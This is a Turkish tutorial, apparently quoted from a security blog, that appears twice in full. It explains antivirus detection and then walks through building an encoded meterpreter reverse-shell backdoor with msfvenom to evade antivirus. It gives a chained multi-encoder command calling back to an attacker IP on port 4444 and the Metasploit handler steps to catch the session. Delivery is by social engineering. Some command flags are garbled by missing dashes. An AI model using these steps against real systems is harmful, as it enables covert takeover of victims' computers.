Antivirüs programını atlatmak için antivirüs programını tanımalıyız. Antivirüs programları bir sandbox ortamı kurarak dosyayı bu alanda çalıştırır ve burada uygulamanın hareketlerini kendince ölçer. Çalışma anında ise nereden dosya okuduğunu, nereye yazdığını kontrol etmektedir (örn. Registerlar,
). Bazende daha önce tespit ettiği virüs uygulamasına imza kontrolu ile müdahale etmektedir.
Bir çok antivirüs teknolojisi olmasına rağmen bu yazılımlar temelde iki şekilde çalışır:
İmza tabanlı (Signature Based) (hızlı sonuç)
Sezgisel (heuristic)
Antivirüs yazılımları her ne kadar şüpheli davranışları tespit etmek için sezgisel yeteneklere sahip olduklarını söylemiş olsalar da gerçekte eskiden beri süre gelen imza tabanlı tespittir. Antivirüs teknolojisi bünyesinde önceden bildirilmiş ve ilgili virüsü kimliklendiren bir imzaya sahiptir. Böylece antivirüs yazılımı daha önceden bildiği virüsü uygulamayı tarayarak kolayca yakalayabilmektedir.
Bilgisayar Virüsü Nedir?
Bilgisayar virüsü, kullanıcının izni ya da bilgisi dahilinde olmadan bilgisayarın çalışma şeklini değiştiren ve kendini diğer dosyaların içerisinde gizlemeye çalışan aslında bir tür bilgisayar programıdır.
Sızma testlerinde, antivirüs atlatılarak hedef sistem ele geçirmek istenilebilir ve bu zararlı kodlar kurban bilgisayarına yerleştirilmek istenebilir. Antivirüs atlatmak için kullanılan teknikler genellikle encode ederek yapılmaktadır. Hacker genelde çalışan dosya akışını müdahale ederek istediği yönlendirmeyi yapmaktadır. Hacker antivirüse takılmamak için çalıştırabilir dosyayı encode eder. Çalıştırılabilir dosya içine küçük decoder programlar yerleştirilir. Uygulama çalışma anında virüs programını decode ederek virüs programı aktif hale getirecektir. Antivirüs encode edilmiş kodları yorumladığından (decode etmediğinden) dosyaya müdahele edemiyecektir. Bundan dolayı uygulamanın zararlı olmadığını düşünecektir.
Aşağıdaki resimde gösterildiği gibi solda normal uygulama, sağda encode edilmiş uygulamanın yapısı gösterilmiştir. En alt kısımda uygulamaya çalışmaya başladığında çözen kısım bulunmaktadır. Çalışma anında ise uygulamanın orjinal hali aktif olacaktır. Yani çalışma anında uygulama sol taraftaki olduğunu düşünebiliriz.
Sızma testlerinde veya sosyal mühendislik testlerinde, kurban bilgisayara ****sploitin payloadu olan meterpreter ile shell açılabilmektedir. Bunun için oluşturacağımız payload antivirüs programlarına takılmaktadır. Bunu atlatmak için belirttiğimiz gibi encode etme tekniklerini uygulayacağız.
****sploit framework yardımıyla bir arka kapı oluşturacağız. Bir şekilde üretilen dosya (encode edilmemiş kod ) antivirus programına takılacağından üretilen dosyayı encode edeceğiz. Önce ****sploit yardımıyla bir arka kapı oluşturalım. Bu dosya windowsda çalışabilir bir dosya üretecektir. Bu dosya çalıştıktan sonra reverse bağlantı ile bize 4444 portu üzerinden bizimle bağlantı oluşturacaktır.
Msfvenom Nedir?
Msfvenom, ****sploit ile gelen zararlı kod üretmek ve kurban pcden reverse bağlantı sağlayan bir araçtır. Reverse shell açabilmek için oluşturulan dosya karşı tarafta çalıştırılması gerekmektedir. Bunun için sosyal mühendislik yöntemleri gereklidir.
Msfvenom Kullanımı
Msfvenom ile arka kapı oluşturma;
Msfvenom ile oluşturulan dosyayı virustotala yükleyelim. (Virustotal farklı antivirüs programlarının bulunduğu, dosya taraması yapan bir web sitedir.)
Virustotal dosyanın 36 farklı antivirüs programı tarafından zararlı yazılım içerdiğini tespit etti.
Msfvenomla zararlı yazılım ve shellcode ürettiğimiz gibi, encode da edilebilmektedir.
Rank satırlarında encoder güçlüklerini belirtmektedir. Biz burada excellent encoder framelerini kullanacağız.
Encode işlemini birden fazla yapmak için i veya iterations parametlerini kullanılır. Bu işlemler yapıldığı antivirus firmaları tarafından bilindiğinden ve virüs yazılımları imza veritabanlarında bulunduğundan bulmaları kolay olabilir. Bunu atlatabilmek için farklı encode tekniklerini aynı dosya üzerinde çalıştırabiliriz.
root@kali: msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.2.13 LPORT=4444 -f raw e x86/shikata_ga_nai -i 5 | msfvenom -a x86 f --platform windows e x86/countdown i 8 f raw | msfvenom -a x86 --platform windows -e x86/shikata_ga_nai -i 9 -f exe o btriskpayload.exe
Oluşan payloadu virustotal yüklendiğinde daha fazla antivüs atlatı. Fakat bazıları payloadu yakalayabiliyor.
Reverse Shell Açma
Zararlı yazılım oluşturuldu, ama bunu kontrol edecek bir durum yoksa bir işe yaramaz. Uzaktan kontrol edebilmek için ****sploit ile kurban bilsayarı arasında session kurmamızdır.
Msfconsole açtıktan sonra
msf exploit (handler) > use exploit/multi/handler
msf exploit (handler) > set payload windows/meterpreter/reverse_tcp
msf exploit (handler) > set LHOST 192.168.2.13 // saldırgan IP
msf exploit (handler) > set LPORT 4444 // saldırgan port
msf exploit (handler) > exploit //dinleme modu
Kurban makinede açılan zararlı yazılım bize istekte bulunacaktır. Otomatik olarak geçiş yapacaktır. Çok fazla kurban cihazı olduğunda session listelenen oturumlardan seçim yapılabilmektedir. Dinleme modu başlatırken kullanılan komut şu şekilde olacaktır.
meterpreter > background
msf exploit(handler) > sessions l
Active sessions
===============
Id Description Tunnel
-- ----------- ------
1 Meterpreter 192.168.1.5:52647 -> 192.168.1.100:4444
msf exploit(handler) > sessions i 1
[*] Starting interaction with 1...
meterpreter >
NOT: ALINTIDIR.
Bir çok antivirüs teknolojisi olmasına rağmen bu yazılımlar temelde iki şekilde çalışır:
İmza tabanlı (Signature Based) (hızlı sonuç)
Sezgisel (heuristic)
Antivirüs yazılımları her ne kadar şüpheli davranışları tespit etmek için sezgisel yeteneklere sahip olduklarını söylemiş olsalar da gerçekte eskiden beri süre gelen imza tabanlı tespittir. Antivirüs teknolojisi bünyesinde önceden bildirilmiş ve ilgili virüsü kimliklendiren bir imzaya sahiptir. Böylece antivirüs yazılımı daha önceden bildiği virüsü uygulamayı tarayarak kolayca yakalayabilmektedir.
Bilgisayar Virüsü Nedir?
Bilgisayar virüsü, kullanıcının izni ya da bilgisi dahilinde olmadan bilgisayarın çalışma şeklini değiştiren ve kendini diğer dosyaların içerisinde gizlemeye çalışan aslında bir tür bilgisayar programıdır.
Sızma testlerinde, antivirüs atlatılarak hedef sistem ele geçirmek istenilebilir ve bu zararlı kodlar kurban bilgisayarına yerleştirilmek istenebilir. Antivirüs atlatmak için kullanılan teknikler genellikle encode ederek yapılmaktadır. Hacker genelde çalışan dosya akışını müdahale ederek istediği yönlendirmeyi yapmaktadır. Hacker antivirüse takılmamak için çalıştırabilir dosyayı encode eder. Çalıştırılabilir dosya içine küçük decoder programlar yerleştirilir. Uygulama çalışma anında virüs programını decode ederek virüs programı aktif hale getirecektir. Antivirüs encode edilmiş kodları yorumladığından (decode etmediğinden) dosyaya müdahele edemiyecektir. Bundan dolayı uygulamanın zararlı olmadığını düşünecektir.
Aşağıdaki resimde gösterildiği gibi solda normal uygulama, sağda encode edilmiş uygulamanın yapısı gösterilmiştir. En alt kısımda uygulamaya çalışmaya başladığında çözen kısım bulunmaktadır. Çalışma anında ise uygulamanın orjinal hali aktif olacaktır. Yani çalışma anında uygulama sol taraftaki olduğunu düşünebiliriz.
Sızma testlerinde veya sosyal mühendislik testlerinde, kurban bilgisayara ****sploitin payloadu olan meterpreter ile shell açılabilmektedir. Bunun için oluşturacağımız payload antivirüs programlarına takılmaktadır. Bunu atlatmak için belirttiğimiz gibi encode etme tekniklerini uygulayacağız.
****sploit framework yardımıyla bir arka kapı oluşturacağız. Bir şekilde üretilen dosya (encode edilmemiş kod ) antivirus programına takılacağından üretilen dosyayı encode edeceğiz. Önce ****sploit yardımıyla bir arka kapı oluşturalım. Bu dosya windowsda çalışabilir bir dosya üretecektir. Bu dosya çalıştıktan sonra reverse bağlantı ile bize 4444 portu üzerinden bizimle bağlantı oluşturacaktır.
Msfvenom Nedir?
Msfvenom, ****sploit ile gelen zararlı kod üretmek ve kurban pcden reverse bağlantı sağlayan bir araçtır. Reverse shell açabilmek için oluşturulan dosya karşı tarafta çalıştırılması gerekmektedir. Bunun için sosyal mühendislik yöntemleri gereklidir.
Msfvenom Kullanımı
Msfvenom ile arka kapı oluşturma;
Msfvenom ile oluşturulan dosyayı virustotala yükleyelim. (Virustotal farklı antivirüs programlarının bulunduğu, dosya taraması yapan bir web sitedir.)
Virustotal dosyanın 36 farklı antivirüs programı tarafından zararlı yazılım içerdiğini tespit etti.
Msfvenomla zararlı yazılım ve shellcode ürettiğimiz gibi, encode da edilebilmektedir.
Rank satırlarında encoder güçlüklerini belirtmektedir. Biz burada excellent encoder framelerini kullanacağız.
Encode işlemini birden fazla yapmak için i veya iterations parametlerini kullanılır. Bu işlemler yapıldığı antivirus firmaları tarafından bilindiğinden ve virüs yazılımları imza veritabanlarında bulunduğundan bulmaları kolay olabilir. Bunu atlatabilmek için farklı encode tekniklerini aynı dosya üzerinde çalıştırabiliriz.
root@kali: msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.2.13 LPORT=4444 -f raw e x86/shikata_ga_nai -i 5 | msfvenom -a x86 f --platform windows e x86/countdown i 8 f raw | msfvenom -a x86 --platform windows -e x86/shikata_ga_nai -i 9 -f exe o btriskpayload.exe
Oluşan payloadu virustotal yüklendiğinde daha fazla antivüs atlatı. Fakat bazıları payloadu yakalayabiliyor.
Reverse Shell Açma
Zararlı yazılım oluşturuldu, ama bunu kontrol edecek bir durum yoksa bir işe yaramaz. Uzaktan kontrol edebilmek için ****sploit ile kurban bilsayarı arasında session kurmamızdır.
Msfconsole açtıktan sonra
msf exploit (handler) > use exploit/multi/handler
msf exploit (handler) > set payload windows/meterpreter/reverse_tcp
msf exploit (handler) > set LHOST 192.168.2.13 // saldırgan IP
msf exploit (handler) > set LPORT 4444 // saldırgan port
msf exploit (handler) > exploit //dinleme modu
Kurban makinede açılan zararlı yazılım bize istekte bulunacaktır. Otomatik olarak geçiş yapacaktır. Çok fazla kurban cihazı olduğunda session listelenen oturumlardan seçim yapılabilmektedir. Dinleme modu başlatırken kullanılan komut şu şekilde olacaktır.
meterpreter > background
msf exploit(handler) > sessions l
Active sessions
===============
Id Description Tunnel
-- ----------- ------
1 Meterpreter 192.168.1.5:52647 -> 192.168.1.100:4444
msf exploit(handler) > sessions i 1
[*] Starting interaction with 1...
meterpreter >
NOT: ALINTIDIR.

